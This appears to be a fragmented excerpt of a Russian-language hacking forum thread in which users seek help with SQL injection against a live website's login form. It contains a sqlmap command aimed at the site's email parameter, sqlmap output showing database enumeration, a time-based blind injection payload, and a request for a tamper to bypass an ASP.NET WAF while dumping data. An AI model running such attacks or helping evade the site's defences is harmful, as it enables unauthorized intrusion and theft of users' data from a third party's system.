Separate names with a comma.
Пробовал,тамперы перепробовал
[01:38:29] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL 5 (MariaDB fork) [01:38:29] [INFO] fetching database names [01:38:29] [INFO]...
sqlmap.py -u "https://******/client/login" -p "email" --risk="3" --level="3" --method="POST" --data="--3e306551ffbd4492975ea8cd2a9917cc...
Подскажи плз тампер для обхода этого ваф WAF/IPS identified as 'ASP.NET RequestValidationMode (Microsoft) а то при сливе выдает: | Email |...
Пара разных пейлоадов,пробовал через оба,но итог один и тот же
Если это ответ,то можно поподробней=)
Parameter: useremail (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: useremail=Bqyn'...